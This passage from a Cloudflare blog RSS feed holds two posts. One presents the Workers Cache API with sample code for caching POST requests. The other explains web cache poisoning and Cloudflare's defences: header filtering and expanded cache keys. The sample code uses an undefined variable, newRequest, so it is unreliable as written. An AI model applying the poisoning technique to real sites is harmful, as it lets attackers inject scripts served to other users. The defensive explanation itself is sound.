    <p>Fetching content is one of the most common Worker tasks. <code>fetch()</code> has always leveraged powerful Cloudflare features like Argo and Load Balancing. It also runs through our cache: we check for content locally before connecting to the Internet. Without the Cache API, content requested with <code>fetch()</code> goes in the cache as-is.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4wLp8iD92YUPS5gbyUeCLo/7c0efc019999e25082e3d0fd70486dae/workers-cache-api-1_2x.png" />
            
            </figure><p>fetch() will always write back to cache after a miss.</p><p>The Cache API changes all of that. It’s based on the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Cache">Service Workers Cache API</a>, and at its core <a href="https://developers.cloudflare.com/workers/reference/cache-api/">it offers three methods</a>:</p><ul><li><p><b><b>put(</b></b><i>request, response</i><b><b>)</b></b> places a Response in the cache, keyed by a Request</p></li><li><p><b>match(</b><i>request</i><b>)</b> returns a given Response that was previously put()</p></li><li><p><b>delete(</b><i>request</i><b>)</b> deletes a Response that was previously put()</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3rrey6Gut4tb3xJKiVfNfg/b5e941364b92e2966fb864349538e17b/workers-cache-api-2_2x.png" />
            
            </figure><p>The Cache API enables you to modify content before writing it to cache.</p><p>This API unleashes a huge amount of power. Because Workers give you the ability to <i>modify</i> Request and Response objects, you can control any caching behavior like TTL or cache tags. You can implement customer Vary logic or cache normally-uncacheable objects like POST requests.</p><p>The Cache API expects requests and responses, but they don't have to come from external servers. Your worker can generate arbitrary data that’s stored in our cache. That means you can use the Cache API as a general-purpose, ephemeral key-value store!</p>
    <div>
      <h3>Case study: Using the Cache API to cache POST requests</h3>
      <a href="#case-study-using-the-cache-api-to-cache-post-requests">
        
      </a>
    </div>
    <p>Since we <a href="/cache-api-for-cloudflare-workers-is-now-in-beta/">announced the beta</a> in September, usage of the Cache API has grown to serve thousands of requests per second. One common use-case is to cache <a href="https://en.wikipedia.org/wiki/POST_(HTTP)">POST requests</a>.</p><p>Normally, Cloudflare does not consider POST requests to be cacheable because they are designed to be non-idempotent: that is, they change state on the server when a request is made. However, applications can also use POST requests to send large amounts of data to the server, or as a common HTTP method for API calls.</p><p>Here’s what one developer had to say about using the Cache API:</p><blockquote><p>We needed to migrate some complex server side code to the edge. We have an API endpoint that accepts POST requests with large bodies, but mostly returns the same data without changing anything on our origin server. With Workers and the Cache API, we were able to cache responses to POST requests that we knew were safe, and reduce significant load on our origin.</p></blockquote><p>— Aaron Dearinger, Edge Architect, Garmin International</p><p>Caching POST requests with the Cache API is simple. Here’s some example code from our <a href="https://developers.cloudflare.com/workers/reference/cache-api/">documentation</a>:</p>
            <pre><code>async function handleRequest(event) {
  let request = event.request
  let response

  if (request.method == 'POST') {
    let body = await request.clone().text()
    let hash = await sha256(body)

    let url = new URL(request.url)
    url.pathname = "/posts" + url.pathname + hash

    // Convert to a GET to be able to cache
    let cacheKey = new Request(url, {
      headers: request.headers,
      method: 'GET'
    })

    let cache = caches.default
    // try to find the cache key in the cache
    response = await cache.match(cacheKey)

    // otherwise, fetch from origin
    if (!response) {
      // makes POST to the origin
      response = await fetch(request.url, newRequest)
      event.waitUntil(cache.put(cacheKey, response.clone()))
    }
  } else {
    response = await fetch(request) 
  }
  return response
}

async function sha256(message) {
  // encode as UTF-8
  const msgBuffer = new TextEncoder().encode(message)

  // hash the message
  const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer)

  // convert ArrayBuffer to Array
  const hashArray = Array.from(new Uint8Array(hashBuffer))

  // convert bytes to hex string
  const hashHex =
    hashArray.map(b =&gt; ('00' + b.toString(16)).slice(-2)).join('')
  return hashHex
}</code></pre>
            
    <div>
      <h3>Try it yourself</h3>
      <a href="#try-it-yourself">
        
      </a>
    </div>
    <p>Already in our beta, we’ve seen customers use the Cache API to dynamically cache parts of GraphQL queries and store customer data to improve performance. We’re excited to see what you build! Check out the <a href="https://developers.cloudflare.com/workers/">Cloudflare Workers getting started guide</a> and the <a href="https://developers.cloudflare.com/workers/reference/cache-api/">Cache API docs</a>, and let us know what you’ve built in the <a href="https://community.cloudflare.com/c/developers/workers">Workers Community forum</a>.</p> ]]></content:encoded>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Serverless]]></category>
            <category><![CDATA[Cache]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">3Ix57SkWb8assTugAOjGzL</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare protects customers from cache poisoning]]></title>
            <link>https://blog.cloudflare.com/cache-poisoning-protection/</link>
            <pubDate>Mon, 20 Aug 2018 15:53:14 GMT</pubDate>
            <description><![CDATA[ A few days ago, Cloudflare — along with the rest of the world — learned of a "practical" cache poisoning attack. In this post I’ll walk through the attack and explain how Cloudflare mitigated it for our customers. ]]></description>
            <content:encoded><![CDATA[ <p>A few days ago, Cloudflare — along with the rest of the world — learned of a <a href="https://portswigger.net/blog/practical-web-cache-poisoning">"practical" cache poisoning attack</a>. In this post I’ll walk through the attack and explain how Cloudflare mitigated it for our customers. While any web cache is vulnerable to this attack, Cloudflare is uniquely able to take proactive steps to defend millions of customers.</p><p>In addition to the steps we’ve taken, we strongly recommend that customers update their origin web servers to mitigate vulnerabilities. Some popular vendors have applied patches that can be installed right away, including <a href="https://www.drupal.org/SA-CORE-2018-005">Drupal</a>, <a href="https://symfony.com/blog/cve-2018-14773-remove-support-for-legacy-and-risky-http-headers">Symfony</a>, and <a href="https://framework.zend.com/security/advisory/ZF2018-01">Zend</a>.</p>
    <div>
      <h3>How a shared web cache works</h3>
      <a href="#how-a-shared-web-cache-works">
        
      </a>
    </div>
    <p>Say a user requests a cacheable file, <code>index.html</code>. We first check if it’s in cache, and if it’s not, we fetch it from the origin and store it. Subsequent users can request that file from our cache until it expires or gets evicted.</p><p>Although contents of a response can vary slightly between requests, customers may want to cache a single version of the file to improve performance:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5jMHNvdj7hDJAiEb7ureAq/ad5182cfe46cc64c74d3cd53405373c0/cache-ok.png" />
            
            </figure><p><i>(See </i><a href="https://support.cloudflare.com/hc/en-us/articles/200172256-How-do-I-cache-static-HTML-"><i>this support page</i></a><i> for more info about how to cache HTML with Cloudflare.)</i></p><p>How do we know it’s the same file? We create something called a “cache key” which contains several fields, for example:</p><ul><li><p>HTTP Scheme</p></li><li><p>HTTP Host</p></li><li><p>Path</p></li><li><p>Query string</p></li><li><p>…</p></li></ul><p>In general, if the URL matches, and our customer has told us that a file is cacheable, we will serve the cached file to subsequent users.</p>
    <div>
      <h3>How a cache poisoning attack works</h3>
      <a href="#how-a-cache-poisoning-attack-works">
        
      </a>
    </div>
    <p>In a cache poisoning attack, a malicious user crafts an HTTP request that tricks the origin into producing a “poisoned” version of <code>index.html</code> with the same cache key as an innocuous request. This file may get cached and served to other users:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6xi374PMzX5VRkQrVBQ8bp/bb5ef953e39dd740e757f377793ddf0c/cache-poison.png" />
            
            </figure><p>We take this vulnerability very seriously, because an attacker with no privileges may be able to inject arbitrary data or resources into customer websites.</p><p>So how do you trick an origin into producing unexpected output? It turns out that some origins send back data back from HTTP headers that are not part of the cache key.</p><p>To give one example, we might observe origin behavior like:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1cPNW6DoaAdUjbIhc28SQD/bb84421e3a961ae69f8d94a075570255/example-req-resp.png" />
            
            </figure><p>Because this data is returned, unescaped, from the origin, it can be used in scary ways:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1595GWWVTWBjLUvCBhL6VH/50099682aa6d7be4e0a0364769908f79/js-req-resp.png" />
            
            </figure><p>Game over — the attacker can now get arbitrary JavaScript to execute on this webpage.</p>
    <div>
      <h3>Notifying customers who are at risk</h3>
      <a href="#notifying-customers-who-are-at-risk">
        
      </a>
    </div>
    <p>As soon as we learned about this new vulnerability, we wanted to see if any of our customers were vulnerable. We scanned all of our enterprise customer websites and checked if they echoed risky data. We immediately notified these customers about the vulnerability and advised them to update their origin.</p>
    <div>
      <h3>Blocking the worst offenders</h3>
      <a href="#blocking-the-worst-offenders">
        
      </a>
    </div>
    <p>The next step was to block all requests that contain obviously malicious content — like JavaScript — in an HTTP header. Examples of this include a header with suspicious characters like <code>&lt;</code> or <code>&gt;</code>.</p><p>We were able to deploy these changes immediately for all customers who use our WAF. But we weren’t done yet.</p>
    <div>
      <h3>A more subtle attack</h3>
      <a href="#a-more-subtle-attack">
        
      </a>
    </div>
    <p>There are other versions of the attack that could trick a client into downloading an unwanted but innocuous-looking resource, with harmful consequences.</p><p>Many requests that have traveled through another proxy before reaching Cloudflare contain the X-Forwarded-Host header. Some origins may rely on this value to serve web pages. For example:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2AteTgCdKken1Iu6c7a3Dx/e7c7613aa48e671d99a3dd2e40a17b84/subtle-req-resp.png" />
            
            </figure><p>In this case, there’s no way to just block requests with this X-Forwarded-Host header, because it may have a valid purpose. However, we need to ensure that we don’t return this content to any users who didn’t request it!</p><p>There are a few ways we could defend against this type of attack. An obvious first answer is to just disable cache. This isn’t a great solution, though, as disabling cache would result in a tremendous amount of traffic on customer origin servers, which defeats the purpose of using Cloudflare.</p><p>Another option is to always include every HTTP header and its value in the cache key. However, there are many headers, and many different innocuous values (e.g. <code>User-Agent</code>). If we always included them in our default cache key, performance would degrade, because different users asking for the same content would get different copies, when they could all be effectively served with one.</p>
    <div>
      <h3>Solution: include “interesting” header values in the cache key</h3>
      <a href="#solution-include-interesting-header-values-in-the-cache-key">
        
      </a>
    </div>
    <p>Instead, we decided to change our cache keys for a request only if we think it may influence the origin response. Our default cache key got a bunch of new values:</p><ul><li><p>HTTP Scheme</p></li><li><p>HTTP Host</p></li><li><p>Path</p></li><li><p>Query string</p></li><li><p><b>X-Forwarded-Host header</b></p></li><li><p><b>X-Host header</b></p></li><li><p><b>X-Forwarded-Scheme header</b></p></li><li><p>…</p></li></ul><p>In order to prevent unnecessary cache sharding, we only include these header values when they differ from what’s in the URL or Host header. For example, if the HTTP Host is <code>www.example.com</code>, and X-Forwarded-Host is also <code>www.example.com</code>, we will not add the X-Forwarded-Host header to the cache key. Of course, it’s still crucial that applications do not send back data from any other headers!</p><p>One side effect of this change is that customers who use these headers, and also rely on Purge by URL, may need to specify more headers in their Purge API calls. You can read more detail in <a href="https://support.cloudflare.com/hc/en-us/articles/200169246">this support page</a>.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Cloudflare is committed to protecting our customers. If you notice anything unusual with your account, or have more questions, please contact <a>Cloudflare Support</a>.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Cache]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">5mX4V2zGyBSd7HzX3VSvao</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
    </channel>
</rss>